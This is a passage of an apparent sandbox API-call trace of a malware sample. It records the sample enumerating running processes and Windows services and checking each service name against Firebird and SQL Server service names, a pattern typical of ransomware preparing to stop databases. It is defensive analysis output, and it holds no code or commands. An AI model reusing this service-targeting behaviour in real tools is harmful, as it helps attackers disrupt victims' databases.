th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0166.880] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0166.880] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0166.881] lstrlenW (lpString="SearchUI.exe") returned 12 [0166.881] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0166.882] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0166.882] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0166.882] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0166.882] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 1 [0166.883] lstrlenW (lpString="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 58 [0166.883] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0166.883] lstrlenW (lpString="cmd.exe") returned 7 [0166.883] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdbc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0166.884] lstrlenW (lpString="conhost.exe") returned 11 [0166.884] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 1 [0166.884] lstrlenW (lpString="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 58 [0166.884] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdbc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0166.885] lstrlenW (lpString="mode.com") returned 8 [0166.885] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdbc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0166.886] CloseHandle (hObject=0x4dc) returned 1 [0166.886] Sleep (dwMilliseconds=0x1f4) [0167.596] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x408e2a8 [0167.597] EnumServicesStatusExW (in: hSCManager=0x408e2a8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 0 [0167.598] GetLastError () returned 0xea [0167.598] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1bc4) returned 0x4171fb0 [0167.598] EnumServicesStatusExW (in: hSCManager=0x408e2a8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4171fb0, cbBufSize=0x1bc4, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4171fb0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 1 [0167.600] CloseServiceHandle (hSCObject=0x408e2a8) returned 1 [0167.600] lstrlenW (lpString="Appinfo") returned 7 [0167.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0167.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0167.600] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0167.600] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0167.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0167.600] lstrlenW (lpString="AppXSvc") returned 7 [0167.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0167.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0167.601] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0167.601] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0167.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0167.601] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0167.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0167.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0167.601] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0167.601] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0167.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0167.601] lstrlenW (lpString="Audiosrv") returned 8 [0167.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0167.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0167.601] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0167.601] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0167.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0167.601] lstrlenW (lpString="BFE") returned 3 [0167.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0167.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0167.601] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0167.601] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0167.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0167.601] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0167.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0167.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0167.601] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0167.601] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0167.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0167.602] lstrlenW (lpString="CDPSvc") returned 6 [0167.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0167.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0167.602] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0167.602] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0167.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0167.602] lstrlenW (lpString="ClickToRunSvc") returned 13 [0167.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0167.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0167.602] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0167.602] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0167.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0167.602] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0167.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0167.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0167.602] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0167.602] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0167.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0167.602] lstrlenW (lpString="CryptSvc") returned 8 [0167.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0167.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0167.602] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0167.602] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0167.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0167.602] lstrlenW (lpString="DcomLaunch") returned 10 [0167.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0167.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0167.603] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0167.603] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0167.603] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0167.603] lstrlenW (lpString="DeviceAssociationService") returned 24 [0167.603] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0167.603] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0167.603] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0167.603] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0167.603] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0167.603] lstrlenW (lpString="Dhcp") returned 4 [0167.603] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0167.603] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0167.603] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0167.603] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0167.603] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0167.603] lstrlenW (lpString="Dnscache") returned 8 [0167.603] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0167.603] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0167.603] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0167.603] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0167.603] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0167.603] lstrlenW (lpString="DPS") returned 3 [0167.603] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0167.603] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0167.603] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0167.603] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0167.603] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0167.603] lstrlenW (lpString="DusmSvc") returned 7 [0167.603] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0167.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0167.604] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0167.604] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0167.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0167.604] lstrlenW (lpString="EventLog") returned 8 [0167.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0167.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0167.604] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0167.604] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0167.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0167.604] lstrlenW (lpString="EventSystem") returned 11 [0167.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0167.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0167.604] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0167.604] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0167.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0167.604] lstrlenW (lpString="FontCache") returned 9 [0167.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0167.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0167.604] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0167.604] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0167.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0167.604] lstrlenW (lpString="gpsvc") returned 5 [0167.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0167.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0167.604] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0167.604] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0167.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0167.605] lstrlenW (lpString="iphlpsvc") returned 8 [0167.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0167.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0167.605] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0167.605] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0167.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0167.605] lstrlenW (lpString="KeyIso") returned 6 [0167.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0167.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0167.605] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0167.605] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0167.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0167.605] lstrlenW (lpString="LanmanServer") returned 12 [0167.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0167.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0167.605] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0167.605] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0167.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0167.605] lstrlenW (lpString="LanmanWorkstation") returned 17 [0167.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0167.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0167.605] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0167.605] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0167.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0167.605] lstrlenW (lpString="lfsvc") returned 5 [0167.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0167.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0167.606] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0167.606] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0167.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0167.606] lstrlenW (lpString="lmhosts") returned 7 [0167.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0167.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0167.606] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0167.606] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0167.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0167.606] lstrlenW (lpString="LSM") returned 3 [0167.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0167.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0167.606] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0167.606] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0167.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0167.606] lstrlenW (lpString="MpsSvc") returned 6 [0167.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0167.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0167.606] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0167.606] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0167.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0167.606] lstrlenW (lpString="NcbService") returned 10 [0167.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0167.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0167.606] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0167.606] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0167.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0167.606] lstrlenW (lpString="netprofm") returned 8 [0167.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0167.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0167.607] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0167.607] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0167.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0167.607] lstrlenW (lpString="NgcSvc") returned 6 [0167.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0167.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0167.607] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0167.607] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0167.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0167.607] lstrlenW (lpString="NlaSvc") returned 6 [0167.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0167.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0167.607] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0167.607] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0167.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0167.607] lstrlenW (lpString="nsi") returned 3 [0167.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0167.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0167.607] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0167.607] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0167.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0167.607] lstrlenW (lpString="PcaSvc") returned 6 [0167.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0167.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0167.607] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0167.607] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0167.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0167.608] lstrlenW (lpString="PlugPlay") returned 8 [0167.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0167.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0167.608] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0167.608] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0167.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0167.608] lstrlenW (lpString="Power") returned 5 [0167.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0167.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0167.608] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0167.608] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0167.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0167.608] lstrlenW (lpString="ProfSvc") returned 7 [0167.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0167.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0167.608] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0167.608] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0167.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0167.608] lstrlenW (lpString="RpcEptMapper") returned 12 [0167.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0167.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0167.608] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0167.608] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0167.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0167.608] lstrlenW (lpString="RpcSs") returned 5 [0167.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0167.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0167.609] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0167.609] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0167.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0167.609] lstrlenW (lpString="SamSs") returned 5 [0167.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0167.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0167.609] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0167.609] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0167.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0167.609] lstrlenW (lpString="Schedule") returned 8 [0167.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0167.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0167.609] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0167.609] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0167.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0167.609] lstrlenW (lpString="SecurityHealthService") returned 21 [0167.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0167.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0167.609] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0167.609] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0167.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0167.609] lstrlenW (lpString="SENS") returned 4 [0167.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0167.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0167.609] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0167.609] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0167.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0167.609] lstrlenW (lpString="ShellHWDetection") returned 16 [0167.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0167.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0167.610] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0167.610] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0167.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0167.610] lstrlenW (lpString="Spooler") returned 7 [0167.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0167.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0167.610] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0167.610] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0167.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0167.610] lstrlenW (lpString="StateRepository") returned 15 [0167.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0167.610] 